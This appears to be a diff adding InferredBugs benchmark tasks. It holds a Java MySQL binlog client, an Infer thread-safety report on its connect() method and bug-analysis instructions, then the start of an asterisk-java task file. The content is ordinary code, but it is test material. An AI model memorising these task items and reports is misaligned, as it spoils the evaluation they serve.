+    public long getKeepAliveInterval() {
+        return keepAliveInterval;
+    }
+
+    /**
+     * @param keepAliveInterval "keep alive" interval in milliseconds.
+     * @see #getKeepAliveInterval()
+     */
+    public void setKeepAliveInterval(long keepAliveInterval) {
+        this.keepAliveInterval = keepAliveInterval;
+    }
+
+    /**
+     * @return "keep alive" connect timeout in milliseconds, 3 seconds by default.
+     * @see #setKeepAliveConnectTimeout(long)
+     */
+    public long getKeepAliveConnectTimeout() {
+        return keepAliveConnectTimeout;
+    }
+
+    /**
+     * @param keepAliveConnectTimeout "keep alive" connect timeout in milliseconds.
+     * @see #getKeepAliveConnectTimeout()
+     */
+    public void setKeepAliveConnectTimeout(long keepAliveConnectTimeout) {
+        this.keepAliveConnectTimeout = keepAliveConnectTimeout;
+    }
+
+    /**
+     * @param eventDeserializer custom event deserializer
+     */
+    public void setEventDeserializer(EventDeserializer eventDeserializer) {
+        if (eventDeserializer == null) {
+            throw new IllegalArgumentException("Event deserializer cannot be NULL");
+        }
+        this.eventDeserializer = eventDeserializer;
+    }
+
+    /**
+     * @param socketFactory custom socket factory. If not provided, socket will be created with "new Socket()".
+     */
+    public void setSocketFactory(SocketFactory socketFactory) {
+        this.socketFactory = socketFactory;
+    }
+
+    /**
+     * @param sslSocketFactory custom ssl socket factory
+     */
+    public void setSslSocketFactory(SSLSocketFactory sslSocketFactory) {
+        this.sslSocketFactory = sslSocketFactory;
+    }
+
+    /**
+     * @param threadFactory custom thread factory. If not provided, threads will be created using simple "new Thread()".
+     */
+    public void setThreadFactory(ThreadFactory threadFactory) {
+        this.threadFactory = threadFactory;
+    }
+
+    /**
+     * Connect to the replication stream. Note that this method blocks until disconnected.
+     * @throws AuthenticationException if authentication fails
+     * @throws ServerException if MySQL server responds with an error
+     * @throws IOException if anything goes wrong while trying to connect
+     */
+    public void connect() throws IOException {
+        if (connected) {
+            throw new IllegalStateException("BinaryLogClient is already connected");
+        }
+        GreetingPacket greetingPacket;
+        try {
+            try {
+                Socket socket = socketFactory != null ? socketFactory.createSocket() : new Socket();
+                socket.connect(new InetSocketAddress(hostname, port));
+                channel = new PacketChannel(socket);
+                if (channel.getInputStream().peek() == -1) {
+                    throw new EOFException();
+                }
+            } catch (IOException e) {
+                throw new IOException("Failed to connect to MySQL on " + hostname + ":" + port +
+                    ". Please make sure it's running.", e);
+            }
+            greetingPacket = receiveGreeting();
+            authenticate(greetingPacket);
+            if (binlogFilename == null) {
+                fetchBinlogFilenameAndPosition();
+            }
+            if (binlogPosition < 4) {
+                if (logger.isLoggable(Level.WARNING)) {
+                    logger.warning("Binary log position adjusted from " + binlogPosition + " to " + 4);
+                }
+                binlogPosition = 4;
+            }
+            ChecksumType checksumType = fetchBinlogChecksum();
+            if (checksumType != ChecksumType.NONE) {
+                confirmSupportOfChecksum(checksumType);
+            }
+            requestBinaryLogStream();
+        } catch (IOException e) {
+            if (channel != null && channel.isOpen()) {
+                channel.close();
+            }
+            throw e;
+        }
+        connected = true;
+        connectionId = greetingPacket.getThreadId();
+        if (logger.isLoggable(Level.INFO)) {
+            String position;
+            synchronized (gtidSetAccessLock) {
+                position = gtidSet != null ? gtidSet.toString() : binlogFilename + "/" + binlogPosition;
+            }
+            logger.info("Connected to " + hostname + ":" + port + " at " + position +
+                " (" + (blocking ? "sid:" + serverId + ", " : "") + "cid:" + connectionId + ")");
+        }
+        synchronized (lifecycleListeners) {
+            for (LifecycleListener lifecycleListener : lifecycleListeners) {
+                lifecycleListener.onConnect(this);
+            }
+        }
+        if (keepAlive && !isKeepAliveThreadRunning()) {
+            spawnKeepAliveThread();
+        }
+        ensureEventDataDeserializer(EventType.ROTATE, RotateEventDataDeserializer.class);
+        synchronized (gtidSetAccessLock) {
+            if (gtidSet != null) {
+                ensureEventDataDeserializer(EventType.GTID, GtidEventDataDeserializer.class);
+            }
+        }
+        listenForEventPackets();
+    }
+
+    private GreetingPacket receiveGreeting() throws IOException {
+        byte[] initialHandshakePacket = channel.read();
+        if (initialHandshakePacket[0] == (byte) 0xFF /* error */) {
+            byte[] bytes = Arrays.copyOfRange(initialHandshakePacket, 1, initialHandshakePacket.length);
+            ErrorPacket errorPacket = new ErrorPacket(bytes);
+            throw new ServerException(errorPacket.getErrorMessage(), errorPacket.getErrorCode(),
+                    errorPacket.getSqlState());
+        }
+        return new GreetingPacket(initialHandshakePacket);
+    }
+
+    private void requestBinaryLogStream() throws IOException {
+        long serverId = blocking ? this.serverId : 0; // http://bugs.mysql.com/bug.php?id=71178
+        Command dumpBinaryLogCommand;
+        synchronized (gtidSetAccessLock) {
+            if (gtidSet != null) {
+                dumpBinaryLogCommand = new DumpBinaryLogGtidCommand(serverId, binlogFilename, binlogPosition, gtidSet);
+            } else {
+                dumpBinaryLogCommand = new DumpBinaryLogCommand(serverId, binlogFilename, binlogPosition);
+            }
+        }
+        channel.write(dumpBinaryLogCommand);
+    }
+
+    private void ensureEventDataDeserializer(EventType eventType,
+             Class<? extends EventDataDeserializer> eventDataDeserializerClass) {
+        EventDataDeserializer eventDataDeserializer = eventDeserializer.getEventDataDeserializer(eventType);
+        if (eventDataDeserializer.getClass() != eventDataDeserializerClass &&
+            eventDataDeserializer.getClass() != EventDeserializer.EventDataWrapper.Deserializer.class) {
+            EventDataDeserializer internalEventDataDeserializer;
+            try {
+                internalEventDataDeserializer = eventDataDeserializerClass.newInstance();
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+            eventDeserializer.setEventDataDeserializer(eventType,
+                new EventDeserializer.EventDataWrapper.Deserializer(internalEventDataDeserializer,
+                    eventDataDeserializer));
+        }
+    }
+
+    private void authenticate(GreetingPacket greetingPacket) throws IOException {
+        int collation = greetingPacket.getServerCollation();
+        int packetNumber = 1;
+        if (sslMode != SSLMode.DISABLED) {
+            boolean serverSupportsSSL = (greetingPacket.getServerCapabilities() & ClientCapabilities.SSL) != 0;
+            if (!serverSupportsSSL && (sslMode == SSLMode.REQUIRED || sslMode == SSLMode.VERIFY_CA ||
+                sslMode == SSLMode.VERIFY_IDENTITY)) {
+                throw new IOException("MySQL server does not support SSL");
+            }
+            if (serverSupportsSSL) {
+                SSLRequestCommand sslRequestCommand = new SSLRequestCommand();
+                sslRequestCommand.setCollation(collation);
+                channel.write(sslRequestCommand, packetNumber++);
+                SSLSocketFactory sslSocketFactory = this.sslSocketFactory != null ? this.sslSocketFactory :
+                    sslMode == SSLMode.REQUIRED ? DEFAULT_REQUIRED_SSL_MODE_SOCKET_FACTORY :
+                        DEFAULT_VERIFY_CA_SSL_MODE_SOCKET_FACTORY;
+                channel.upgradeToSSL(sslSocketFactory,
+                    sslMode == SSLMode.VERIFY_IDENTITY ? new TLSHostnameVerifier() : null);
+            }
+        }
+        AuthenticateCommand authenticateCommand = new AuthenticateCommand(schema, username, password,
+            greetingPacket.getScramble());
+        authenticateCommand.setCollation(collation);
+        channel.write(authenticateCommand, packetNumber);
+        byte[] authenticationResult = channel.read();
+        if (authenticationResult[0] != (byte) 0x00 /* ok */) {
+            if (authenticationResult[0] == (byte) 0xFF /* error */) {
+                byte[] bytes = Arrays.copyOfRange(authenticationResult, 1, authenticationResult.length);
+                ErrorPacket errorPacket = new ErrorPacket(bytes);
+                throw new AuthenticationException(errorPacket.getErrorMessage(), errorPacket.getErrorCode(),
+                    errorPacket.getSqlState());
+            }
+            throw new AuthenticationException("Unexpected authentication result (" + authenticationResult[0] + ")");
+        }
+    }
+
+    private void spawnKeepAliveThread() {
+        keepAliveThreadExecutor = Executors.newSingleThreadExecutor(new ThreadFactory() {
+
+            @Override
+            public Thread newThread(Runnable runnable) {
+                return newNamedThread(runnable, "blc-keepalive-" + hostname + ":" + port);
+            }
+        });
+        keepAliveThreadExecutor.submit(new Runnable() {
+            @Override
+            public void run() {
+                while (true) {
+                    try {
+                        Thread.sleep(keepAliveInterval);
+                    } catch (InterruptedException e) {
+                        // expected in case of disconnect
+                    }
+                    shutdownLock.lock();
+                    try {
+                        if (keepAliveThreadExecutor.isShutdown()) {
+                            return;
+                        }
+                        try {
+                            channel.write(new PingCommand());
+                        } catch (IOException e) {
+                            if (logger.isLoggable(Level.INFO)) {
+                                logger.info("Trying to restore lost connection to " + hostname + ":" + port);
+                            }
+                            try {
+                                if (isConnected()) {
+                                    disconnectChannel();
+                                }
+                                connect(keepAliveConnectTimeout);
+                            } catch (Exception ce) {
+                                if (logger.isLoggable(Level.WARNING)) {
+                                    logger.warning("Failed to restore connection to " + hostname + ":" + port +
+                                        ". Next attempt in " + keepAliveInterval + "ms");
+                                }
+                            }
+                        }
+                    } finally {
+                        shutdownLock.unlock();
+                    }
+                }
+            }
+        });
+    }
+
+    private Thread newNamedThread(Runnable runnable, String threadName) {
+        Thread thread = threadFactory == null ? new Thread(runnable) : threadFactory.newThread(runnable);
+        thread.setName(threadName);
+        return thread;
+    }
+
+    boolean isKeepAliveThreadRunning() {
+        return keepAliveThreadExecutor != null && !keepAliveThreadExecutor.isShutdown();
+    }
+
+    /**
+     * Connect to the replication stream in a separate thread.
+     * @param timeoutInMilliseconds timeout in milliseconds
+     * @throws AuthenticationException if authentication fails
+     * @throws ServerException if MySQL server responds with an error
+     * @throws IOException if anything goes wrong while trying to connect
+     * @throws TimeoutException if client was unable to connect within given time limit
+     */
+    public void connect(long timeoutInMilliseconds) throws IOException, TimeoutException {
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        AbstractLifecycleListener connectListener = new AbstractLifecycleListener() {
+            @Override
+            public void onConnect(BinaryLogClient client) {
+                countDownLatch.countDown();
+            }
+        };
+        registerLifecycleListener(connectListener);
+        final AtomicReference<IOException> exceptionReference = new AtomicReference<IOException>();
+        Runnable runnable = new Runnable() {
+
+            @Override
+            public void run() {
+                try {
+                    connect();
+                } catch (IOException e) {
+                    exceptionReference.set(e);
+                    countDownLatch.countDown(); // making sure we don't end up waiting whole "timeout"
+                }
+            }
+        };
+        newNamedThread(runnable, "blc-" + hostname + ":" + port).start();
+        boolean started = false;
+        try {
+            started = countDownLatch.await(timeoutInMilliseconds, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            if (logger.isLoggable(Level.WARNING)) {
+                logger.log(Level.WARNING, e.getMessage());
+            }
+        }
+        unregisterLifecycleListener(connectListener);
+        if (exceptionReference.get() != null) {
+            throw exceptionReference.get();
+        }
+        if (!started) {
+            throw new TimeoutException("BinaryLogClient was unable to connect in " + timeoutInMilliseconds + "ms");
+        }
+    }
+
+    /**
+     * @return true if client is connected, false otherwise
+     */
+    public boolean isConnected() {
+        return connected;
+    }
+
+    private void fetchBinlogFilenameAndPosition() throws IOException {
+        ResultSetRowPacket[] resultSet;
+        channel.write(new QueryCommand("show master status"));
+        resultSet = readResultSet();
+        if (resultSet.length == 0) {
+            throw new IOException("Failed to determine binlog filename/position");
+        }
+        ResultSetRowPacket resultSetRow = resultSet[0];
+        binlogFilename = resultSetRow.getValue(0);
+        binlogPosition = Long.parseLong(resultSetRow.getValue(1));
+    }
+
+    private ChecksumType fetchBinlogChecksum() throws IOException {
+        channel.write(new QueryCommand("show global variables like 'binlog_checksum'"));
+        ResultSetRowPacket[] resultSet = readResultSet();
+        if (resultSet.length == 0) {
+            return ChecksumType.NONE;
+        }
+        return ChecksumType.valueOf(resultSet[0].getValue(1).toUpperCase());
+    }
+
+    private void confirmSupportOfChecksum(ChecksumType checksumType) throws IOException {
+        channel.write(new QueryCommand("set @master_binlog_checksum= @@global.binlog_checksum"));
+        byte[] statementResult = channel.read();
+        if (statementResult[0] == (byte) 0xFF /* error */) {
+            byte[] bytes = Arrays.copyOfRange(statementResult, 1, statementResult.length);
+            ErrorPacket errorPacket = new ErrorPacket(bytes);
+            throw new ServerException(errorPacket.getErrorMessage(), errorPacket.getErrorCode(),
+                errorPacket.getSqlState());
+        }
+        eventDeserializer.setChecksumType(checksumType);
+    }
+
+    private void listenForEventPackets() throws IOException {
+        ByteArrayInputStream inputStream = channel.getInputStream();
+        boolean completeShutdown = false;
+        try {
+            while (inputStream.peek() != -1) {
+                int packetLength = inputStream.readInteger(3);
+                inputStream.skip(1); // 1 byte for sequence
+                int marker = inputStream.read();
+                if (marker == 0xFF) {
+                    ErrorPacket errorPacket = new ErrorPacket(inputStream.read(packetLength - 1));
+                    throw new ServerException(errorPacket.getErrorMessage(), errorPacket.getErrorCode(),
+                        errorPacket.getSqlState());
+                }
+                if (marker == 0xFE && !blocking) {
+                    completeShutdown = true;
+                    break;
+                }
+                Event event;
+                try {
+                    event = eventDeserializer.nextEvent(packetLength == MAX_PACKET_LENGTH ?
+                        new ByteArrayInputStream(readPacketSplitInChunks(inputStream, packetLength - 1)) :
+                        inputStream);
+                } catch (Exception e) {
+                    Throwable cause = e instanceof EventDataDeserializationException ? e.getCause() : e;
+                    if (cause instanceof EOFException || cause instanceof SocketException) {
+                        throw e;
+                    }
+                    if (isConnected()) {
+                        synchronized (lifecycleListeners) {
+                            for (LifecycleListener lifecycleListener : lifecycleListeners) {
+                                lifecycleListener.onEventDeserializationFailure(this, e);
+                            }
+                        }
+                    }
+                    continue;
+                }
+                if (isConnected()) {
+                    notifyEventListeners(event);
+                    updateClientBinlogFilenameAndPosition(event);
+                    updateGtidSet(event);
+                }
+            }
+        } catch (Exception e) {
+            if (isConnected()) {
+                synchronized (lifecycleListeners) {
+                    for (LifecycleListener lifecycleListener : lifecycleListeners) {
+                        lifecycleListener.onCommunicationFailure(this, e);
+                    }
+                }
+            }
+        } finally {
+            if (isConnected()) {
+                if (completeShutdown) {
+                    disconnect(); // initiate complete shutdown sequence (which includes keep alive thread)
+                } else {
+                    disconnectChannel();
+                }
+            }
+        }
+    }
+
+    private byte[] readPacketSplitInChunks(ByteArrayInputStream inputStream, int packetLength) throws IOException {
+        byte[] result = inputStream.read(packetLength);
+        int chunkLength;
+        do {
+            chunkLength = inputStream.readInteger(3);
+            inputStream.skip(1); // 1 byte for sequence
+            result = Arrays.copyOf(result, result.length + chunkLength);
+            inputStream.fill(result, result.length - chunkLength, chunkLength);
+        } while (chunkLength == Packet.MAX_LENGTH);
+        return result;
+    }
+
+    private void updateClientBinlogFilenameAndPosition(Event event) {
+        EventHeader eventHeader = event.getHeader();
+        EventType eventType = eventHeader.getEventType();
+        if (eventType == EventType.ROTATE) {
+            EventData eventData = event.getData();
+            RotateEventData rotateEventData;
+            if (eventData instanceof EventDeserializer.EventDataWrapper) {
+                rotateEventData = (RotateEventData) ((EventDeserializer.EventDataWrapper) eventData).getInternal();
+            } else {
+                rotateEventData = (RotateEventData) eventData;
+            }
+            binlogFilename = rotateEventData.getBinlogFilename();
+            binlogPosition = rotateEventData.getBinlogPosition();
+        } else
+        // do not update binlogPosition on TABLE_MAP so that in case of reconnect (using a different instance of
+        // client) table mapping cache could be reconstructed before hitting row mutation event
+        if (eventType != EventType.TABLE_MAP && eventHeader instanceof EventHeaderV4) {
+            EventHeaderV4 trackableEventHeader = (EventHeaderV4) eventHeader;
+            long nextBinlogPosition = trackableEventHeader.getNextPosition();
+            if (nextBinlogPosition > 0) {
+                binlogPosition = nextBinlogPosition;
+            }
+        }
+    }
+
+    private void updateGtidSet(Event event) {
+        EventHeader eventHeader = event.getHeader();
+        if (eventHeader.getEventType() == EventType.GTID) {
+            synchronized (gtidSetAccessLock) {
+                if (gtidSet != null) {
+                    EventData eventData = event.getData();
+                    GtidEventData gtidEventData;
+                    if (eventData instanceof EventDeserializer.EventDataWrapper) {
+                        gtidEventData = (GtidEventData) ((EventDeserializer.EventDataWrapper) eventData).getInternal();
+                    } else {
+                        gtidEventData = (GtidEventData) eventData;
+                    }
+                    gtidSet.add(gtidEventData.getGtid());
+                }
+            }
+        }
+    }
+
+    private ResultSetRowPacket[] readResultSet() throws IOException {
+        List<ResultSetRowPacket> resultSet = new LinkedList<ResultSetRowPacket>();
+        byte[] statementResult = channel.read();
+        if (statementResult[0] == (byte) 0xFF /* error */) {
+            byte[] bytes = Arrays.copyOfRange(statementResult, 1, statementResult.length);
+            ErrorPacket errorPacket = new ErrorPacket(bytes);
+            throw new ServerException(errorPacket.getErrorMessage(), errorPacket.getErrorCode(),
+                    errorPacket.getSqlState());
+        }
+        while ((channel.read())[0] != (byte) 0xFE /* eof */) { /* skip */ }
+        for (byte[] bytes; (bytes = channel.read())[0] != (byte) 0xFE /* eof */; ) {
+            resultSet.add(new ResultSetRowPacket(bytes));
+        }
+        return resultSet.toArray(new ResultSetRowPacket[resultSet.size()]);
+    }
+
+    /**
+     * @return registered event listeners
+     */
+    public List<EventListener> getEventListeners() {
+        return Collections.unmodifiableList(eventListeners);
+    }
+
+    /**
+     * Register event listener. Note that multiple event listeners will be called in order they
+     * where registered.
+     */
+    public void registerEventListener(EventListener eventListener) {
+        synchronized (eventListeners) {
+            eventListeners.add(eventListener);
+        }
+    }
+
+    /**
+     * Unregister all event listener of specific type.
+     */
+    public void unregisterEventListener(Class<? extends EventListener> listenerClass) {
+        synchronized (eventListeners) {
+            Iterator<EventListener> iterator = eventListeners.iterator();
+            while (iterator.hasNext()) {
+                EventListener eventListener = iterator.next();
+                if (listenerClass.isInstance(eventListener)) {
+                    iterator.remove();
+                }
+            }
+        }
+    }
+
+    /**
+     * Unregister single event listener.
+     */
+    public void unregisterEventListener(EventListener eventListener) {
+        synchronized (eventListeners) {
+            eventListeners.remove(eventListener);
+        }
+    }
+
+    private void notifyEventListeners(Event event) {
+        if (event.getData() instanceof EventDeserializer.EventDataWrapper) {
+            event = new Event(event.getHeader(), ((EventDeserializer.EventDataWrapper) event.getData()).getExternal());
+        }
+        synchronized (eventListeners) {
+            for (EventListener eventListener : eventListeners) {
+                try {
+                    eventListener.onEvent(event);
+                } catch (Exception e) {
+                    if (logger.isLoggable(Level.WARNING)) {
+                        logger.log(Level.WARNING, eventListener + " choked on " + event, e);
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * @return registered lifecycle listeners
+     */
+    public List<LifecycleListener> getLifecycleListeners() {
+        return Collections.unmodifiableList(lifecycleListeners);
+    }
+
+    /**
+     * Register lifecycle listener. Note that multiple lifecycle listeners will be called in order they
+     * where registered.
+     */
+    public void registerLifecycleListener(LifecycleListener lifecycleListener) {
+        synchronized (lifecycleListeners) {
+            lifecycleListeners.add(lifecycleListener);
+        }
+    }
+
+    /**
+     * Unregister all lifecycle listener of specific type.
+     */
+    public synchronized void unregisterLifecycleListener(Class<? extends LifecycleListener> listenerClass) {
+        synchronized (lifecycleListeners) {
+            Iterator<LifecycleListener> iterator = lifecycleListeners.iterator();
+            while (iterator.hasNext()) {
+                LifecycleListener lifecycleListener = iterator.next();
+                if (listenerClass.isInstance(lifecycleListener)) {
+                    iterator.remove();
+                }
+            }
+        }
+    }
+
+    /**
+     * Unregister single lifecycle listener.
+     */
+    public synchronized void unregisterLifecycleListener(LifecycleListener eventListener) {
+        synchronized (lifecycleListeners) {
+            lifecycleListeners.remove(eventListener);
+        }
+    }
+
+    /**
+     * Disconnect from the replication stream.
+     * Note that this does not cause binlogFilename/binlogPosition to be cleared out.
+     * As the result following {@link #connect()} resumes client from where it left off.
+     */
+    public void disconnect() throws IOException {
+        shutdownLock.lock();
+        try {
+            if (isKeepAliveThreadRunning()) {
+                keepAliveThreadExecutor.shutdownNow();
+            }
+            disconnectChannel();
+        } finally {
+            shutdownLock.unlock();
+        }
+        if (isKeepAliveThreadRunning()) {
+            waitForKeepAliveThreadToBeTerminated();
+        }
+    }
+
+    private void waitForKeepAliveThreadToBeTerminated() {
+        boolean terminated = false;
+        try {
+            terminated = keepAliveThreadExecutor.awaitTermination(keepAliveThreadShutdownTimeout,
+                TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            if (logger.isLoggable(Level.WARNING)) {
+                logger.log(Level.WARNING, e.getMessage());
+            }
+        }
+        if (!terminated) {
+            throw new IllegalStateException("BinaryLogClient was unable to shut keep alive thread down in " +
+                keepAliveThreadShutdownTimeout + "ms");
+        }
+    }
+
+    private void disconnectChannel() throws IOException {
+        try {
+            connected = false;
+            if (channel != null && channel.isOpen()) {
+                channel.close();
+            }
+        } finally {
+            synchronized (lifecycleListeners) {
+                for (LifecycleListener lifecycleListener : lifecycleListeners) {
+                    lifecycleListener.onDisconnect(this);
+                }
+            }
+        }
+    }
+
+    /**
+     * {@link BinaryLogClient}'s event listener.
+     */
+    public interface EventListener {
+
+        void onEvent(Event event);
+    }
+
+    /**
+     * {@link BinaryLogClient}'s lifecycle listener.
+     */
+    public interface LifecycleListener {
+
+        /**
+         * Called once client has successfully logged in but before started to receive binlog events.
+         */
+        void onConnect(BinaryLogClient client);
+
+        /**
+         * It's guarantied to be called before {@link #onDisconnect(BinaryLogClient)}) in case of
+         * communication failure.
+         */
+        void onCommunicationFailure(BinaryLogClient client, Exception ex);
+
+        /**
+         * Called in case of failed event deserialization. Note this type of error does NOT cause client to
+         * disconnect. If you wish to stop receiving events you'll need to fire client.disconnect() manually.
+         */
+        void onEventDeserializationFailure(BinaryLogClient client, Exception ex);
+
+        /**
+         * Called upon disconnect (regardless of the reason).
+         */
+        void onDisconnect(BinaryLogClient client);
+    }
+
+    /**
+     * Default (no-op) implementation of {@link LifecycleListener}.
+     */
+    public static abstract class AbstractLifecycleListener implements LifecycleListener {
+
+        public void onConnect(BinaryLogClient client) { }
+
+        public void onCommunicationFailure(BinaryLogClient client, Exception ex) { }
+
+        public void onEventDeserializationFailure(BinaryLogClient client, Exception ex) { }
+
+        public void onDisconnect(BinaryLogClient client) { }
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.github.shyiko.mysql.binlog.BinaryLogClient.connect` indirectly writes to field `this.com.github.shyiko.mysql.binlog.BinaryLogClient.channel.com.github.shyiko.mysql.binlog.network.protocol.PacketChannel.inputStream.com.github.shyiko.mysql.binlog.io.ByteArrayInputStream.blockLength` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path this.com.github.shyiko.mysql.binlog.BinaryLogClient.channel has been contaminated during the execution, so the reported race on this.com.github.shyiko.mysql.binlog.BinaryLogClient.channel.com.github.shyiko.mysql.binlog.network.protocol.PacketChannel.inputStream.com.github.shyiko.mysql.binlog.io.ByteArrayInputStream.blockLength might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BinaryLogClient.connect()
+
+### Procedure Id:
+com.github.shyiko.mysql.binlog.BinaryLogClient.connect():void.b46e0b85918f9e00aabc9fbe7138181c
+
+### File:
+src/main/java/com/github/shyiko/mysql/binlog/BinaryLogClient.java
+
+### Key:
+BinaryLogClient.java|connect|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0e5b5f8cd239f26577354113d2377ebd
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6256/instruction.md b/inferredbugs-6256/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..432d881fbeb2ce7fd2461a6e658e7ae032b98bd5
--- /dev/null
+++ b/inferredbugs-6256/instruction.md
@@ -0,0 +1,1054 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2004-2006 Stefan Reuter
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ *
+ */
+package org.asteriskjava.live.internal;
+
+import java.util.*;
+
+import org.asteriskjava.live.AsteriskChannel;
+import org.asteriskjava.live.AsteriskQueueEntry;
+import org.asteriskjava.live.CallDetailRecord;
+import org.asteriskjava.live.CallerId;
+import org.asteriskjava.live.ChannelState;
+import org.asteriskjava.live.ChannelStateHistoryEntry;
+import org.asteriskjava.live.DialedChannelHistoryEntry;
+import org.asteriskjava.live.Extension;
+import org.asteriskjava.live.ExtensionHistoryEntry;
+import org.asteriskjava.live.HangupCause;
+import org.asteriskjava.live.LinkedChannelHistoryEntry;
+import org.asteriskjava.live.ManagerCommunicationException;
+import org.asteriskjava.live.NoSuchChannelException;
+import org.asteriskjava.manager.action.AbsoluteTimeoutAction;
+import org.asteriskjava.manager.action.ChangeMonitorAction;
+import org.asteriskjava.manager.action.GetVarAction;
+import org.asteriskjava.manager.action.HangupAction;
+import org.asteriskjava.manager.action.MonitorAction;
+import org.asteriskjava.manager.action.PauseMixMonitorAction;
+import org.asteriskjava.manager.action.PauseMonitorAction;
+import org.asteriskjava.manager.action.PlayDtmfAction;
+import org.asteriskjava.manager.action.RedirectAction;
+import org.asteriskjava.manager.action.SetVarAction;
+import org.asteriskjava.manager.action.StopMonitorAction;
+import org.asteriskjava.manager.action.UnpauseMonitorAction;
+import org.asteriskjava.manager.response.ManagerError;
+import org.asteriskjava.manager.response.ManagerResponse;
+import org.asteriskjava.util.MixMonitorDirection;
+
+/**
+ * Default implementation of the AsteriskChannel interface.
+ *
+ * @author srt
+ * @version $Id$
+ */
+class AsteriskChannelImpl extends AbstractLiveObject implements AsteriskChannel
+{
+    private static final String CAUSE_VARIABLE_NAME = "PRI_CAUSE";
+
+    /**
+     * Unique id of this channel.
+     */
+    private String id;
+
+    /**
+     * The traceId is used to trace originated channels.
+     */
+    private String traceId;
+
+    /**
+     * Date this channel has been created.
+     */
+    private final Date dateOfCreation;
+
+    /**
+     * Date this channel has left the Asterisk server.
+     */
+    private Date dateOfRemoval;
+
+    /**
+     * Name of this channel.
+     */
+    private String name;
+
+    /**
+     * Caller*ID of this channel.
+     */
+    private CallerId callerId;
+
+    /**
+     * State of this channel.
+     */
+    private ChannelState state;
+
+    /**
+     * Account code used to bill this channel.
+     */
+    private String account;
+    private final List<ExtensionHistoryEntry> extensionHistory;
+    private final List<ChannelStateHistoryEntry> stateHistory;
+    private final List<LinkedChannelHistoryEntry> linkedChannelHistory;
+    private final List<DialedChannelHistoryEntry> dialedChannelHistory;
+
+    private AsteriskChannel dialedChannel;
+
+    private AsteriskChannel dialingChannel;
+
+    /**
+     * If this channel is bridged to another channel, the linkedChannel contains
+     * the channel this channel is bridged with.
+     */
+    private AsteriskChannel linkedChannel;
+
+    /**
+     * Indicates if this channel was linked to another channel at least once.
+     */
+    private boolean wasLinked;
+
+    private HangupCause hangupCause;
+
+    private String hangupCauseText;
+
+    private CallDetailRecordImpl callDetailRecord;
+
+    /**
+     * MeetMe room user associated with this channel if any, <code>null</code>
+     * otherwise.
+     */
+    private MeetMeUserImpl meetMeUserImpl;
+
+    /**
+     * Queue entry associated with this channel if any, <code>null</code>
+     * otherwise.
+     */
+    private AsteriskQueueEntryImpl queueEntryImpl;
+
+    /**
+     * Extension where the call is parked if it is parked, <code>null</code>
+     * otherwise.
+     */
+    private Extension parkedAt;
+
+    /**
+     * Last dtmf digit recieved on this channel if any, <code>null</code> otherwise.
+     */
+    private Character dtmfReceived;
+
+    /**
+     * Last dtmf digit sent on this channel if any, <code>null</code> otherwise.
+     */
+    private Character dtmfSent;
+
+    /**
+     * Actual monitor state
+     */
+    private boolean isMonitored;
+
+    private final Map<String, String> variables;
+
+    /**
+     * Creates a new Channel.
+     *
+     * @param server         server this channel belongs to.
+     * @param name           name of this channel, for example "SIP/1310-20da".
+     * @param id             unique id of this channel, for example "1099015093.165".
+     * @param dateOfCreation date this channel has been created.
+     * @throws IllegalArgumentException if any of the parameters are null.
+     */
+    AsteriskChannelImpl(final AsteriskServerImpl server, final String name, final String id, final Date dateOfCreation)
+            throws IllegalArgumentException
+    {
+        super(server);
+
+        if (server == null)
+        {
+            throw new IllegalArgumentException("Parameter 'server' passed to AsteriskChannelImpl() must not be null.");
+        }
+        if (name == null)
+        {
+            throw new IllegalArgumentException("Parameter 'name' passed to AsteriskChannelImpl() must not be null.");
+        }
+        if (id == null)
+        {
+            throw new IllegalArgumentException("Parameter 'id' passed to AsteriskChannelImpl() must not be null.");
+        }
+        if (dateOfCreation == null)
+        {
+            throw new IllegalArgumentException("Parameter 'dateOfCreation' passed to AsteriskChannelImpl() must not be null.");
+        }
+
+        this.name = name;
+        this.id = id;
+        this.dateOfCreation = dateOfCreation;
+        this.extensionHistory = new ArrayList<ExtensionHistoryEntry>();
+        this.stateHistory = new ArrayList<ChannelStateHistoryEntry>();
+        this.linkedChannelHistory = new ArrayList<LinkedChannelHistoryEntry>();
+        this.dialedChannelHistory = new ArrayList<DialedChannelHistoryEntry>();
+        this.variables = new HashMap<String, String>();
+    }
+
+    public String getId()
+    {
+        return id;
+    }
+
+    /**
+     * Changes the id of this channel.
+     *
+     * @param date date of the name change.
+     * @param id   the new unique id of this channel.
+     */
+    void idChanged(Date date, String id)
